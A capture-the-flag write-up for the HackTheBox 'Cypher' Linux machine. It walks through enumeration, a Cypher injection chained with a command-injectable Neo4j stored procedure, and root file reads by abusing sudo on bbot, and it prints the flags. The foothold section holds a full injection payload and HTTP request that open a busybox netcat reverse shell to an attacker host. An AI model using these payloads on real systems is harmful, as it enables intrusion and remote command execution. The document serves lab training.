SC
All write-ups
8 min read

HackTheBox — Cypher (Linux)

HTBCypher InjectionNeo4jPrivilege EscalationLinux

Overview

Cypher is a Linux machine on HackTheBox rated Medium. The attack path chains a Cypher Injection vulnerability in a Neo4j-backed web application with a command injection vector hidden inside a custom Java stored procedure. Privilege escalation abuses bbot — a YARA-based scanning tool — running with unrestricted sudo permissions.

Property Value
OS Linux (Ubuntu)
IP 10.10.11.57
Difficulty Medium
Key Techniques Cypher Injection, JAR Decompilation, Reverse Shell, Sudo Abuse

Cypher — Attack Path Mind Map


Enumeration

Port Scan

An nmap scan reveals two open services:

nmap -sC -sV 10.10.11.57
Port Service Version
22/tcp SSH OpenSSH 9.6p1 (Ubuntu)
80/tcp HTTP nginx 1.24.0 — redirects to http://cypher.htb/

After adding cypher.htb to /etc/hosts, we can explore the web application.

Directory Brute-Force

Running gobuster reveals several interesting paths:

gobuster dir -u http://cypher.htb -w /usr/share/wordlists/dirb/common.txt

Key results:

Path Note
/login Authentication page
/api Redirects to /api/docs
/testing Open directory listing

The /testing directory exposes a downloadable file: custom-apoc-extension-1.0-SNAPSHOT.jar — a custom Neo4j APOC extension.


Foothold

JAR Decompilation

Decompiling the JAR with cfr reveals the source of the custom stored procedure:

java -jar cfr-0.152.jar custom-apoc-extension-1.0-SNAPSHOT.jar --outputdir java_cypher

Inside CustomFunctions.java, the method getUrlStatusCode catches the eye:

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    // ...
    Object[] command = new String[]{"/bin/sh", "-c",
        "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
    Process process = Runtime.getRuntime().exec((String[]) command);
    // ...
}

The url parameter is concatenated directly into a shell command — a textbook command injection vector.

Identifying the Cypher Injection

The login page (/login) communicates with a Neo4j graph database. Entering a malformed username triggers a Neo4jError: CypherSyntaxError, confirming the backend is vulnerable to Cypher Injection — similar to SQL injection, but targeting Neo4j's Cypher query language.

Crafting the Exploit

The attack chains the Cypher Injection with the vulnerable stored procedure. The payload injected into the username field:

a' return h.value as a UNION CALL custom.getUrlStatusCode("http://10.10.11.57:80;busybox nc 10.10.x.x 4444 -e sh;#") YIELD statusCode AS a RETURN a;//

This payload:

  1. Breaks out of the original Cypher query with a' return h.value as a
  2. Calls the vulnerable custom.getUrlStatusCode procedure via UNION CALL
  3. Injects a reverse shell command using busybox nc
  4. Comments out the rest of the query with //

Sending this as a POST request to /api/auth (e.g., via Burp Suite) with the payload JSON-escaped:

POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Type: application/json

{"username":"a' return h.value as a UNION CALL custom.getUrlStatusCode(\"http://10.10.11.57:80;busybox nc 10.10.x.x 4444 -e sh;#\") YIELD statusCode AS a RETURN a;//","password":"a"}

A netcat listener on port 4444 catches the reverse shell.


User Flag

Once inside the machine as the graphasm user, credentials are found in /home/graphasm/bbot_preset.yml, granting SSH access for a stable shell.

graphasm@cypher:~$ cat user.txt
77fec28a5892023ffbc28486c624bf58

Privilege Escalation

Sudo Enumeration

Checking sudo permissions reveals an interesting entry:

graphasm@cypher:~$ sudo -l
User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Abusing bbot

bbot is a scanning tool that supports custom YARA rules for file scanning and pattern matching. Since it runs as root with no password required, we can use it to read arbitrary files by crafting a YARA rule that matches the target file's content.

sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run

The -cy flag loads a custom YARA rule from the specified path. Using -d enables debug output, which prints the file contents as part of the YARA rule parsing. The --dry-run flag prevents actual execution.

Alternatively:

sudo bbot -t /root/root.txt

The debug output leaks the root flag:

[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: d8c04f80bc4b375f23e68c308cee71d5

Attack Summary

Anatomy of a Breach — Exploiting Cypher Linux

Key Takeaways